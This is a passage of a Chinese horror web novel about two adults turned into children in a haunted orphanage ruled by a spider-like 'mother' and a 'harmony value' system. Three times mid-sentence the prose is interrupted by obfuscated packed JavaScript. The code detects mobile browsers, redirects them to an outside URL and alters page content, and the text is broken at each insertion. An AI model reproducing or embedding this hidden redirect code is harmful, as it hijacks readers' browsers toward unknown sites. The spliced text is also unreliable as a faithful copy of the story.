孩子们立刻松开了手,开始安静地“享用”眼前腐烂的盛宴。 季青望着蛄蛹着蛆虫的碗,胃里一阵紧缩和抽搐,实在下不去嘴。 可她能感到院长妈妈的目光仍然钉在她身上。 季青迅速伸手,在那摊腐烂的水果里挑了一个卖相不那么恶心的梨子,硬着头皮咬了下去,一股难以形容的发酵的甜腻和霉菌苦涩的味道瞬间在口腔中爆开。 “好孩子不可以挑食哦。”院长妈妈温柔的声音传来。 季青抬起头:“我对牛奶过敏,院长妈妈。” 院长妈妈凝视了她几秒,直到季青吃完整个烂梨子,才终于点了点头。 季青垂下眼睛,抑制着喉头翻涌的恶心感觉,她知道,这场噩梦般的早餐,只是一个开始。 早餐过后,孩子们有了一段自由活动的时间,季青来到图书室,随手拿起一支蒙尘的黑色蜡笔,虽然没有了惯用的笔记本,但在纸上稍微理一理思绪的习惯很难改。 为了防止被其他孩子看到,她拿了两张纸,一张盖在一张上面,跟上课时写小纸条一样开始悄悄行动。 她在纸上试探性写下了一句话:【早饭很难吃。】 什么都没有发生。 季青打算更坏一点,写下了第二句:【院长妈妈很恐怖。】 还是什么都没有发生。 难道院长妈妈不能对孤儿院所有事情进行实时监控吗? 季 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16449127|185241||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 青心一横,在纸上重重写下了第三句—— 突然,那个猩红的UI界面再次出现。 【警告:个人和谐值下降5%】 【当前个人和谐值:25%】 【当前整体和谐值:82%】 【警告:感知侵入能力下降,产生同步异常,系统完整度下降】 季青迅速盖好写了字的纸,但紧接着,她手上的黑色蜡笔突然融化滴落,里面钻出了数只黑色的爬虫,季青赶紧松手想要将蜡笔丢掉。 可一只手伸过来,握住了季青拿着蜡笔的手。 又是那只冰凉的小手,安瑞宁不知什么时候站在了季青身后,她的下巴靠在季青肩膀上,轻声说: “没事的,没事的。” 安瑞宁牵着季青的手,在白纸上画起了图画,线条虽然稚嫩简单,但能依稀看出,画的正是孤儿院的房子,房子前是院长妈妈和孩子们手牵着手。 随着画笔的滑动,UI界面再次浮现在季青眼前,这时颜色却是蓝色。 【提示:个人和谐值提升10%】 【当前个人和谐值:35%】 【当前整体和谐值:84%】 【提示:感知侵入能力提升,同步异常减弱,系统完整度上升】 随着UI界面的消散,季青手中的黑色蜡笔也恢复了正常,她抬头打量了一下图书室,里面的场景有了微妙的变化。 刚刚还沾满蛛网和灰尘的书架和桌椅,此刻看起来只是有些陈旧。 似乎是随着这个和谐值的上升,整个世界都变得更美好了一样。 安瑞宁握着季青的手并没有松开,季青反握了回去,说道:“我大概明白你昨天的意思了,仪式之后,我能看到那个和谐值……” “嗯,一旦做出了让妈妈讨厌的事情,和谐值就会降低,孤儿院就变得……”安瑞宁小小的脸上露出一股纠结的神情,接着安瑞宁坐到季青身边,拉开桌子下方的抽屉。 里面是整整齐齐少说数百张一模一样的画,画上无数个院长妈妈和无数个大家手拉手微笑着。 “但是,只要做个好孩子,孤儿院就会越来越好。”安瑞宁扯出一个微笑,“个人和谐值高,就越看不见那些恐怖的东西了。大家的整体和谐值越高,孤儿院就会越好哦。” “所以季青也要当个好孩子,现在和谐值低没有关系,悄悄提升上来就好啦,如果被妈妈知道是谁的和谐值拖了后腿的话……” 咔哒。 一声极轻微、却足以让血液冻结的开门声,打断了安瑞宁的话。 图书室门口的光线暗了下来,院长妈妈不知何时站在那里,脸上挂着温柔的笑容,手上端着一杯“牛奶”。 “好孩子们在分享小秘密吗?”她的声音柔和得像羽毛,目光却精准地落在季青刚才被安瑞宁握住的手上,以及……被季青压在胳膊下的纸张上。 安瑞宁的小脸瞬间变得煞白,下意识地后退了半步。 院长妈妈一步步走近,高跟鞋敲击地板的声音在死寂的图书室里如同丧钟。 她无视了安瑞宁,径直走到季青面前,俯下身,冰凉的指尖轻轻拂过季青衣领上的铃铛。 “看来我们的新家人,还有很多‘规则’不明白。”她的笑容放大,红唇像裂开的伤口,“没关系,妈妈会……亲自、一对一地教你。” 她将装着“牛奶”的杯子递给季青,令人作呕的气息扑面而来。 “喝掉它,好孩子。”她的声音依旧温柔,却带着不容置疑的强制,眼神深处闪烁着非人的、狂热的光泽。 季青盯着杯子,虽然她的和谐度有略微上涨,可杯子里的蛆虫依然清晰可见,看过那个场面,她不可能神情自若地喝掉这杯“牛奶”。 “院长妈妈……早上的时候我说过了,我对牛奶过敏。” “不试试怎么知道呢?”院长妈妈用力掐住季青的脸,强迫她张开嘴,将杯子靠近季青的嘴唇。 “一杯再正常不过的牛奶,是家的味道,你会喜欢的。” 11. 心巢孤儿院(四) 脸颊被冰冷的指尖掐得生疼,季青能清晰看到杯子里的蛆虫还在扭动,白色汁液顺着杯壁往下滴,眼看就要沾到她的嘴角。 反抗只会让院长妈妈发现自己就是那个和谐值极低的“害群之马”,可真喝下去说不定会有更糟的后果。 到底要怎么做? 或许是因为平时上班锻炼了季青的抗压能力,越是紧张的时候她脑子就转得越快。 她突然想到了一个不合理的地方,如果院长妈妈执意要用牛奶测试自己,那为什么不干脆在刚刚吃早餐的时候逼她喝下去? 季青的视线飞快扫过旁边的安瑞宁,女孩还僵在原地,双手死死攥着衣角,脸色白得像纸,眼里满是惊恐。 季青突然想通了: 没有在早餐时逼季青喝下去,大概是担心强迫季青这种行为会让它作为院长妈妈的温柔形象破碎,导致大家的和谐值降低吧。 诡的心思果然比领导的脑回路好揣摩…… 季青狠狠拧了自己小臂一把,眼泪瞬间涌出,她装作脚一软跪坐在地上,大哭起来。 一边哭还要一边吸着鼻子控诉院长妈妈: “院长妈妈……我不能喝……过敏特别特别难受……会喉咙痛,还喘不上气……” “院长妈妈求你了,不要逼我喝……我会死的……” 季青哭得可大声,闹出了不小的动静。 院长妈妈的脸色越来越难看,但很快哭声就吸引来了其他孩子,她不得已换上温柔的笑脸,放下牛奶,转而将季青抱起,像普通的母亲哄孩子那样,装作温柔地拍拍季青的后背。 在院长妈妈哄得心烦之前,季青在冰凉的怀抱里及时止住了哭声,血红的UI再次出现在视野中。 【提示:整体和谐下降10%】 【提示:系统完整度下降】 伴随着UI的出现,季青发现图书室的环境几乎是同步变得更加破败和陈旧了,但是她个人的和谐值并没有下降。 季青思索着安瑞宁刚刚的话: “个人和谐值高,就越看不见那些恐怖的东西了。大家的整体和谐值越高,孤儿院就会越好哦。” 也就是说这个和谐值系统其实是一种意识屏障,且有两个影响表现:孤儿院的孩子和孤儿院本身。 个人的和谐值高低将会决定个人眼中的孤儿院是什么样子,个人和谐值越高,眼中的孤儿院就越美好。而整体和谐值,即孩子们的平均和谐值,将决定孤儿院本身的样子。 而院长妈妈显然也受到这个和谐值系统的掣肘,她这么紧张整体和谐值的高低,甚至不惜放弃试探季青的计划,是因为—— 这个整体和谐值能够影响孤儿院本身的样子只是一种表现,而实际反映的,是院长妈妈力量的强弱! 整体和谐值一旦下降,院长妈妈维系孤儿院的力量就越弱,孤儿院自然就会在季青个人和谐值没有降低的时候变得更破旧了! 如果院长妈妈的力量源泉就是和谐值,那么一切都说得通了! 季青简直又要落泪了,怪谈们都太讲逻辑了,比学生的作业好懂。 直到整体和谐度逐渐稳定,院长妈妈才放下季青,招呼大家散去。 院长妈妈关上图书室的门时,特意朝安瑞宁挤出一个微笑:“瑞宁,我最乖的孩子,你要带好新来的孩子,不要让我失望哦。” 随着门锁落下的咔哒声,安瑞宁仿佛被抽干了力气,一下子瘫坐在地上。 随着个人和谐值和整体和谐值的双重下降,她眼中美好的孤儿院已经开始摇摇欲坠,她捡起地上散落的纸笔,打算故技重施,用描绘和谐家庭的方式强行提升和谐值。 安瑞宁并没有忘记旁边的季青,她握住季青的手,用颤抖着的声音说:“我是最乖的孩子……只要我们一起努力,孤儿院就会越来越好的……” “和我一起画,求你……” “不要做坏孩子……” 季青反过来握住安瑞宁的手,轻拍着安抚她,说出了安瑞宁无论如何也不想承认的话: “瑞宁,你其实早就知道孤儿院真正的模样并没有那么美好,是不是?为什么还要帮着院长妈妈隐瞒大家?” 安瑞宁的眼神动摇着,她迅速抽回手,开始在纸上重复地画画,蜡笔用力摩擦着纸张。她似乎不只是在强行提升和谐值,更像是强迫自己冷静下来,将恐惧和迷茫全部倾泻在纸上。 安瑞宁一边画,一边重复地念叨着:“只要做乖孩子,院长妈妈做的一切,都是为了让孤儿院和大家越来越好……” “因为我们是一家人……所以……” 安瑞宁很坚强,但季青没有放弃,安瑞宁是她必须要争取到的同伴,她打算用更激进一点的办法。 季青站起身,在满地散落的纸张中找到了之前被她悄悄写过字的那张,捡回来拿到安瑞宁的面前。 “瑞宁,你有没有想过自己帮助的,不是院长妈妈。” 一张薄薄的白纸,轻轻盖在她重复过无数次的画作上,却像一柄重锤,敲碎了她为自己编织的幻梦。 白纸上面黑色蜡笔的字迹端端正正,内容却充斥着让安瑞宁发寒的痛苦: 【已核实帖子:1、孤儿院没有生还者。】 季青凝视着安瑞宁,看到她瞳孔深处拼命压抑的恐惧,然后,握住了安瑞宁的手。 “瑞宁,你看,”季青的声音低沉而清晰,每一个字都敲打在安瑞宁紧绷的神经上,“这才是我们需要面对的真相。” 她将蜡笔的笔尖,对准了那行字。 蜡笔接触纸张,发出沙沙的轻响,在死寂的图书室里被无限放大。 红色的线条开始延伸,像血一样流动在纸上。 “为什么孤儿院没有灯?没有热食?甚至没有通电?为什么所有孩子都是十岁左右的样子,好像不会长大?” 季青一边圈,一边轻声问,仿佛在陈述一个再平常不过的事实。 “因为这一切源于一场大火,而那场大火之中……” 红色的笔迹化作绞索,牢牢圈禁了几个字: 【没有生还者】 红色笔迹合拢的瞬间,安瑞宁眼前的UI界面疯狂闪烁起来,红色的警告文字几乎覆盖了整个视野,个人和谐值的数字以前所未有的速度向下跳动! 与此同时,她眼中那个温馨的图书室景象如同破碎的镜子般剥落,焦黑的墙壁、扭曲的窗框、空气中弥漫的焦糊味瞬间涌现! 那是大火焚烧后最真实的模样,再一次呈现在她的眼前。 安瑞宁终于崩溃,发出一声压抑至极的呜咽,那个红色的圈,不仅圈住了真相,也彻底圈碎了她赖以 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16449128|185241||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 生存的谎言。 她的汗水与泪水夺眶而出,将纸上那血红的圈晕染得如同一道狰狞的伤口。 季青抱住安瑞宁,等她平复下来,过了很久,安瑞宁才轻声说:“我知道,我知道的,大家都死了。” 灼热滚烫的火舌、呛人的滚滚浓烟、刺痛眼睛的强烈火光……这些记忆,安瑞宁都记得,这些孩子里,大概也就只有她还记得。 那一晚,院长妈妈和孤儿院其他大人突然将孩子都从床上叫醒,让大家彼此牵着手,一直带到阁楼。 院长妈妈挨个亲过每个孩子的额头,然后叮嘱他们,大家要互相帮助,无论发生什么事情,都不要出声,也不要出来。 院长妈妈离开大家,最后关上阁楼的门时,只说了一句话: “不要出来,门外的蜘蛛吃娃娃。” 令人恐惧的黑暗中,孩子们手牵着手,彼此紧靠着,不敢发出声音。 可外面很快传来了令人惊悚的声音,像无数只钢钉扎进墙里,从屋顶到墙角,在孤儿院的外面急急徘徊着。 随着楼下传来玻璃破碎的声音,那密集的脚步声宣告着怪物已经进入孤儿院,它细密的肢节在孤儿院里搜索着。 紧接着就是院长妈妈的呵止声,惊悚的声音只暂停了一小会,便又踏了过来,外面响起了大人们的惨叫,可很快便被这种毛骨悚然的声音甩在后面。 接着就是越燃越烈的火光,连那怪物都似乎被吓退,在大厅犹豫着,徘徊着。 可很快,大火烧了上来,灼热炙烤着阁楼的孩子们,浓烟从门缝里钻进来,有些孩子被呛得止不住要咳嗽,却想起院长妈妈的话,死死咬住衣角忍耐着。 有大点的孩子注意到阁楼上方的通风口,便自发搭建人梯,将年纪小的孩子们尽量举到通风口边,获取那点微薄的新鲜空气和生机。 大家抱在一起,互相鼓励,可巨大的恐惧和阁楼里逐渐稀薄的氧气让孩子们一个接一个倒了下去。 安瑞宁作为最小的孩子,被大家用尽最后一点力气,送到通风口的铁栏旁,眼泪模糊了她的视线,她听见旁边有即将昏迷的孩子小声抽泣: “妈妈……” 只一瞬间,那怪物似乎敏锐地捕捉到了孩子们的声音,那密集又可怕的声响眨眼间来到了阁楼门口。 那怪物撞击着阁楼的门,一声,又一声。 火光撕破阁楼的黑暗,阁楼的门被打开了。 可门口那个影子不是什么恐怖的怪物。 那是院长妈妈。 那是安瑞宁死前最后看到的画面: “院长妈妈”带着狂喜的笑容,跑进来拥住已经倒下的孩子们,颤抖着嗓音说道: “18、19、20……天呐,这么多孩子,我有这么多的孩子!” “好孩子们,留下来永远陪着我吧!” 接着,“院长妈妈”注意到了在上方通风口处喘息着的安瑞宁,她用非人般的姿态诡异地在垂直的墙壁上爬行着,马上就来到了安瑞宁的旁边。 “院长妈妈”带着温柔过分的微笑,轻抚着安瑞宁的发顶。 “这里还有个孩子能喘气呢……要和大家一起永远留下的话,这样才行。” 接着,一条细长的黑色肢节贯穿了安瑞宁的心脏。 “一家人整整齐齐……” 12. 心巢孤儿院(五) “再醒来,孤儿院又恢复原样了。”安瑞宁哽咽着,“我差点以为那晚的一切都是一场噩梦,其他孩子也都以为是院长妈妈从阁楼救了大家。” “可很快就有其他的孩子发现,其实院长妈妈不是院长妈妈。” 安瑞宁好像是想起了什么令人极度恐惧的事情,眼泪再次大颗大颗往下落,滴在散落在地的温馨图画上。 “但所有尝试反抗和怀疑这个院长妈妈的孩子,都被一个接一个送到了突然出现的禁闭室改造,再出来的时候就什么都不记得了。” “我把那晚的事情告诉了孤儿院最聪明的小远姐姐,她告诉我,千万要当个好孩子,不能让院长妈妈发现我还记得。” 安瑞宁把脸埋进季青的衣领里,拼命压抑着哭声: “我们一直很努力做个好孩子,可是,小远姐姐还是被妈妈牵走送去改造了。” 季青一边轻拍着安瑞宁的背,一边哼唱着童谣,试图让她放松下来,等到安瑞宁渐渐止住了哭声,季青才开始询问她想要知道的事情。 季青捡起画笔在纸上画着圈,问出了她非常在意的细节:“瑞宁,你说怀疑院长妈妈的孩子们,被一个接一个送到禁闭室改造,是一个人出来,下一个人才能进去的意思吗?” “嗯!”安瑞宁的视线跟随着季青画的圈在纸上打转,语气却很坚定,“禁闭室里好像只能放得下一个孩子,妈妈都是先牵着最不听话的孩子进去。” “那是当然……”季青在纸上重重点了一下。 如果把整体和谐值看作班级考试平均分的话,那么想要提高这个平均分,自然是优先给成绩最差的同学“补习”。 季青突然有了想法,如果再多让几个孩子认清现实,引起整体和谐值的波动,院长妈妈说不定会急不可耐地去寻找“害群之马”关进禁闭室。 那样的话,现在还被关在禁闭室的常岚就可以提前出来了。 至于人选…… 她放下蜡笔,抬头问安瑞宁:“你说的小远姐姐,该不会是徐菡远吧?” 安瑞宁小脑袋一歪:“你怎么认识小远姐姐?” “因为啊……”季青微微一笑,将安瑞宁的小脑袋扶正,“其实季青姐姐我呢,才是孤儿院资历最老的孩子哦!” 徐菡远比季青小好几岁,但也是来孤儿院比较久的孩子,她还送过出去上学的季青到车站,在季青的印象中是一个年纪小小,却善于思考,心智非常成熟的孩子。 是一个好人选,不过想要造成足以让“院长妈妈”着急的整体和谐值波动,人手也许还不够,再加一个人比较保险。 除了冷静善思的徐菡远,在这个虚假的家里,还有谁会相信季青和安瑞宁的话,不会向院长妈妈告密呢? 季青脑袋里冒出一个人选,她握住安瑞宁的手说:“孤儿院里,肯定还有一个不止被改造过一次的''超级坏孩子''。” “咯吱——” 图书室的大门突然被推开,季青迅速把安瑞宁护在怀里,两人齐刷刷往门口望去。 安瑞宁从季青怀里怯怯露出半张脸,然后鼓起腮帮子指着门口说: “喏,坏孩子。” 一个顶着卷发,看起来大约十岁的男孩倚在门口,哼了一声,微微皱着眉头回应:“对对对,我是坏孩子……”,他扯了扯自己的领口,上面同样用金线绣着他的名字,林屿。 季青揉了揉眉心,果然是他,季青还没离开孤儿院的时候这孩子就很让孤儿院的工作人员头疼了。 林屿迅速从门缝里挤进来,还拉进来一个戴着眼镜的女孩—— “不过坏孩子可不止我一个。” 被拉进来的女孩一开始还低着头、遮着脸,但安瑞宁一眼就认出了她,朝她扑去: “小远姐姐!难道你想起来了吗?!” 徐菡远摸摸安瑞宁的脑袋,不好意思地苦笑起来,老实承认她其实并没有恢复记忆。 关上图书室的门之后,林屿马上就开始抱怨:“我就知道这里不对劲,怎么大家偏偏都好像对这些诡异的事习以为常,我一开始还以为这里只有我一个正常人呢。” “不过啊,”林屿揪着自己的卷发,“我后面又觉得像我这样的人肯定还有,不然的话那个什么整体和谐值不就应该是接近满分才对吗,我一个不及格的不至于能把平均分拉低到八十吧?” 在一段时间的观察下,林屿很快发现了“同类”:总是躲在角落里默默看着大家的徐菡远,可惜徐菡远根本不搭理他。 虽然察觉到这里不对劲,但冷静聪明的徐菡远却发现,那些表现不好和谐值低的孩子会被抓去禁闭室改造,出来之后就会忘记之前发生的事。 所以她一直默默维持着自己好孩子的形象,即使有所怀疑也不会表现出来,更不会和林屿这种“坏孩子”接近。 可季青的到来就像一粒石子,打破了孤儿院平静的表象,季青是唯一一个敢反抗院长妈妈的命令却没有被抓走的孩子。 居然出现了比自己还能装的人! 徐菡远敏锐地捕捉到了这一点,悄悄关注起季青,等来了这个在门口偷听谈话的机会,而一直试图拉拢徐菡远的林屿也跟了过来。 听完,季青再次揉了揉眉心,就是这种熟悉的感觉,“坏孩子”哪会自己一个人乖乖待着,到处寻找惹事的机会才是常态。 “所以我们现在要怎么做?”林屿打量着这个破败的图书室,虽然他的个人和谐值不了就不高,但听完安瑞宁的话,和谐值更是下降到前所未有的地步,这个孤儿院现在在他眼中宛如地狱。 可要让他这种人强行融入“院长妈妈的和谐游戏”,大概真比身处地狱还让人难以接受。 季青走向大家,小声密谋:“想要打破这个诡异的‘和谐之家’,首先要壮大我们的‘坏孩子联盟’,我还有个同伴被关在禁闭室,当务之急是先救他出来。” 几个孩子的目光不约而同地汇聚到季青这个真正“资历最老”的大孩子身上。 “我们要干坏孩子该干的事。”季青微笑着牵起大家的手,走向现在孩子最多的游戏室,“我们来制造点混乱,才能让院长妈妈自己把禁闭室里,我们的‘同伙’提前放出来。” 季青推开游戏室的门,向其余几人使了个眼色,然后假装摔了一跤,撞翻了旁边地上的积木塔。 徐菡远马上领会了季青的意思,在积木倒塌的乒乓声中,尖叫着假意去推搡林屿,林屿则大叫一声,趁机将桌上的玩具全撒在地上,原本秩序井然的游戏室瞬间炸开了锅。 安瑞宁这次没有再当调停者和秩序的维护者,而是真情实感地哭泣起来,连安瑞宁这个小管理员都无法保持和谐,其他的孩子们也纷纷开始吵闹和哭泣。 孩子们是最容易被情绪感染的,而这种混乱,正是季青想要的。 【警告:整体和谐值下降:82、76、65……】 混乱像病毒般蔓延,下降的速度比季青预想的还要快,空气中那层虚假的温馨滤镜像接触不良的灯泡一样疯狂闪烁。 在季青的低和谐值视野里,墙壁上焦黑的烧灼痕迹时而清晰,时而又被强加上一层幼稚的涂鸦;原本在游戏室安静玩耍的“孩子们”,他们的脸在天真无邪和焦黑扭曲之间高速切换;而耳边那嘈杂的吵闹和哭泣声,不知何时也混入了痛苦的尖叫。 “怎么回事?!安静!都给我安静!” 一个强压着愤怒、带着冷意回音的声音如同冰水浇头,瞬间压过了所有的嘈杂。 游戏室的门被一股无形的力量猛地撞开。 院长妈妈“走了进来”。 和谐值的骤降显然激怒了她,或者说,触动了她最核心的恐惧。她那张慈祥的面具还挂在脸上,但紧绷的嘴角泄露了她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16449129|185241||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的恼怒,浑浊的眼球里没有一丝温度,只有被触犯权威后的冰冷。 游戏室里瞬间死寂。所有孩子都定格在原地,保持着上一秒的动作,眼神空洞地望着它们的“院长妈妈”。 “谁能告诉我,”院长妈妈的声音很轻,却像毒蛇一样钻进每个人的耳朵,“为什么这里会变得如此……不和谐?” 她的目光像探照灯一样扫过所有人,最终定格在看起来最调皮的林屿身上。那目光带着审视,仿佛能穿透皮肉,直抵灵魂深处。 可那目光是无法读取孩子们的个人和谐值的。 林屿拼命维持着脸上惊慌失措又带着点内疚的表情——正像是调皮捣蛋后被抓个正着的孩子该有的样子。季青、徐菡远和安瑞宁也低着头,身体微微发抖,演技在线。 “是……是他们先吵起来的!”林屿飞快指向其他一群无辜的孩子,试图甩锅,“不知道谁推了我一下,然后就吵起来了!” 院长没说话,只是缓缓地、一步一顿地走了进来。她那湿重的脚步声在死寂的房间里格外清晰。 安瑞宁吓得真哭了,眼泪鼻涕一起流,之前的表演变成了真实的恐惧。 “好孩子,告诉妈妈,”院长伸出那只纤细修长得不像人类的手,轻轻放在安瑞宁的头顶,声音温柔得可怕,“最乖的孩子,告诉我,是谁引起的不和谐?” 安瑞宁浑身僵直,巨大的恐惧让她根本说不出预设的台词,只是本能地摇头,眼泪掉得更凶,好不容易才挤出几个字: “我不知道,我来到时候,已经这样了……” 她脸上的怒容稍微平复,取而代之的是一种阴沉的得意,她脸上的笑意更深了,透着一股残忍的愉悦:“没关系,妈妈一个一个问。” 她转向下一个孩子,头颅以一种不可能的角度歪斜着,几乎贴在肩膀上,瞳孔缩成两个黑点:“是你吗?” “是你吗?” “是你吗?” 每个被问到的孩子都抖如筛糠,和谐值的降低让院长妈妈的形象在他们眼中也产生了扭曲,那份恐惧无比真实。 终于,角落里一个年纪最小的男孩再也承受不住这无声的折磨,“哇”地一声哭了出来,尿渍迅速洇湿了他的裤脚。 院长妈妈的头颅猛地转回正位,脸上绽放出一个巨大到惊悚的笑容。 “找到你了……我的小坏蛋……” 她甚至没有起身,四肢着地,像一只巨大的、关节错位的蜘蛛,以一种非人的速度瞬间“爬”到了男孩面前!脖颈伸长,脸几乎贴上男孩涕泪交加的小脸。 “不……不是我……”男孩语无伦次地哀求。 “坏孩子……要接受改造哦……”院长妈妈的声音带着诡异的吟唱感。 话音刚落,地板缝隙中猛地窜出无数猩红、粘稠的丝线,如同活蛇般缠住男孩的脚踝、小腿!男孩发出撕心裂肺的尖叫,被那些红线以巨大的力量拖向门口,手指在地板上划出无助的白痕。 安瑞宁脸色煞白,以往个人和谐值高时,她看到的都是院长妈妈牵着孩子们走向禁闭室。 可随着个人和谐值的降低,安瑞宁才明白,原来被院长妈妈“牵”去禁闭室的真相,竟是这样! 院长妈妈扭曲的身体逐渐恢复成正常的人形,缓缓站直身体,环视着噤若寒蝉的孩子们,微笑道:“要永远做妈妈的好孩子哦。” 门关上了,男孩的哭喊声戛然而止,仿佛被那扇门彻底吞噬。 死寂的游戏室里,只剩下孩子们压抑的抽泣和粗重的呼吸。 季青强忍着胃里的翻腾和心脏的抽搐,低声问:“禁闭室……在哪里?” 计划成功了,代价却如此沉重,那个被拖走的孩子惊恐的眼神,像烙印一样刻在她脑海里。 而现在,禁闭室空出来了,常岚会被放出来吗?被放出来的,还会是原本的常岚吗? 13. 心巢孤儿院(六) 常岚的意识在粘稠的猩红中沉浮。 就像是被困在温暖的血肉沼泽里,四面八方都是柔软而富有弹性的物质,将人紧紧包裹,红色的、带着甜腥气的粘液似乎正缓慢地渗透他的皮肤。 与温暖安适的触感相悖的是,一段段破碎的画面和声音在他脑海里冲撞:道观清晨的钟声、师父玩笑般的训诫、香烛微妙的气味、还有……孤儿院孩子们惊恐的脸? “遣其欲而心自静……澄其心而神自清……” 常岚默背着清净经,试图稳住心神。他向来不爱读这些,但这种时候他不得不在心里感激一下天天逼他上早课的师父。 【记忆同步率:37%……修正中……】 冰冷的意念在他脑海中断断续续地响起,一些他根本没见过的,莫名其妙的画面,持续扰乱着他自我的意识。 常岚试图挣扎,但四肢百骸却软绵绵使不上一点力气,红茧的丝线束缚着他,每一次心跳都仿佛与这巨大的“红茧”同步,将一种陌生的、对“家”的依恋感强行注入他的意识。 话说回来,他……有家吗? 就在这时,一股巨大的外力猛地撕扯着红茧! 包裹感骤然消失,冰冷的空气激得他一颤,他被一股蛮力硬生生从那个温暖的囚笼里拽了出来,踉跄着摔在冰冷的地面上。 常岚视线模糊,他勉强抬起头,看到院长妈妈那张慈祥到诡异的脸近在咫尺。 而就在他被扯出的瞬间,他眼角的余光瞥见一个哭得几乎晕厥的小男孩,被那些蠕动的猩红丝线缠绕着,拖进了他刚刚离开的那个红茧之中,红茧的缺口出冒出数条丝线,迅速合拢,将男孩的尖叫和绝望彻底吞没。 突然,一只冰冷纤长的手正准备悄无声息地抚上常岚的发顶,他猛地一回头,本能般迅速躲开。 “我的好孩子,”院长妈妈的手一顿,但还是保持着温柔的微笑,声音里带着一种假惺惺的欣慰,“你终于找回内心的平静了,看,妈妈帮你赶走了那些不和谐的杂念。” 杂念?道观还是孤儿院? 还是……家? 容不得他多想,院长妈妈就将他搀扶起来,像个学步的孩童般被领着走向禁闭室的门口。 门外,是孤儿院“熟悉”的走廊,只是在他此刻混乱的视野里,时而清晰,时而蒙着一层暖黄的光晕,时而却又闪过焦黑的扭曲光影。 晚餐时间临近,孩子们正排队走向餐厅。常岚跟在队伍的末尾,眼神茫然,经过转角处,一股轻微的力道将他拽了进去! 常岚一个激灵,下意识要反击,却对上一双清澈的眼睛——是季青。 “常岚,你还好吗,”季青的声音压得极低,语气里透露着关切,接着她伸出两根手指在常岚眼前晃了一下,“这是几?” …… “季老师,我只是脑子有点乱,不是傻!”常岚把季青的手指一根根掰了回去,“把我当小孩呢?” 季青笑而不语,脸上一副“果然如此”的神情。 常岚低头看看两人小了一圈的手,陌生的制服和胸前的铃铛胸针,再抬头看看季青明显稚嫩许多的脸,这才发现,季青和他好像都变成小孩了? 自己大概真是脑子糊涂了,居然现在才注意到这回事,常岚一巴掌拍上脑门,张张嘴,刚想说什么,外面却传来了脚步声和院长妈妈的呼唤: “好孩子们不要掉队,晚餐要开始了哦。” 时间紧迫,季青只能简短交代了下:“记住我们是来解决这个怪谈的,在找到破解的方法之前,尽量表现得乖一点,不要再被关进禁闭室了。” 接着两人回到了队伍里,排队走向了餐桌。 这次常岚是最新来的孩子,他接替季青坐在了末尾席,季青则顺了一位,坐在他侧边的位置。 晚餐前,孩子们按照惯例牵起了手,院长妈妈用热情得不可思议的语气说道: “今天,我们再次迎来了一位改造完成的新家人!让我们按照惯例,为这位新成员举行欢迎仪式!” 诡异的童谣声响起,虚幻的滤镜闪烁着。 季青用力握了一下常岚的手,提醒他保持清醒。 “啪。” 一声清脆的响声打断了童谣声,季青睁开眼,发现常岚抽出了被另一个孩子牵住的手,正按在自己的脖颈上。 常岚摊开手拿给季青看,一只红色的人面小蜘蛛正在他掌心抽搐着,看样子是被拍得不轻。 季青深吸了一口气:好一个直觉派!实则是动起手来根本不带思考的! 好快的手,练武的人果然不一样啊…… 院长妈妈眨眼间就从长桌那头以诡异的姿势“爬”了过来,她将脑袋扭成不可思议的角度,狠狠盯着常岚。 但常岚漆黑的眼眸里并没有任何波澜,透露出一种天真的坦然。 他从小就不怕诡怪,天生的。 直到季青再次捏了捏他的手,常岚才想起来季青之前嘱咐过他的话,重新牵起旁边孩子的手,开始低头认错: “刚刚突然感觉有什么东西爬到身上了,感觉有点痒,对不起,下次不会了。” 院长妈妈并没有十分信任常岚的保证,她来到常岚身后,将双手按在常岚的肩膀上,冰冷的气息萦绕着常岚的脖颈,像是一种无声的警告。 童谣再次响起,常岚这次没有挣扎,红色的小人面蜘蛛成功给他注入了和谐值系统,院长妈妈也回到了主位上,只是睁开眼睛的时候,常岚还是控制不住地皱了皱眉: 同季青猜想的一样,他显然也看到了和谐值的UI,作为提前结束改造的孩子,常岚的个人和谐值高不到哪去,他眼中的晚餐,估计也是相当恐怖的。 常岚疑惑地望着季青,季青完全读懂了好搭档的意思: [你就吃这个???] 季青坦然的从烂水果堆里挑出不那么烂的梨子,回以一个淡然的眼神: [对啊,你不吃吗?] 常岚望着眼前蛄蛹着蛆虫的碗,学着季青的样子,也去烂水果堆里挑了一个不那么烂的苹果。 “好孩子不可以挑食哦。” 常岚抬起头,对上院长妈妈嘴角咧到耳根的诡异微笑:“难道说,你也对牛奶过敏?” 常岚一下就猜到那个对牛奶过敏的人是谁了,他克制住自己扭头去看季青得意嘴脸的冲动,回答道: “不是,我对燕麦过敏……” 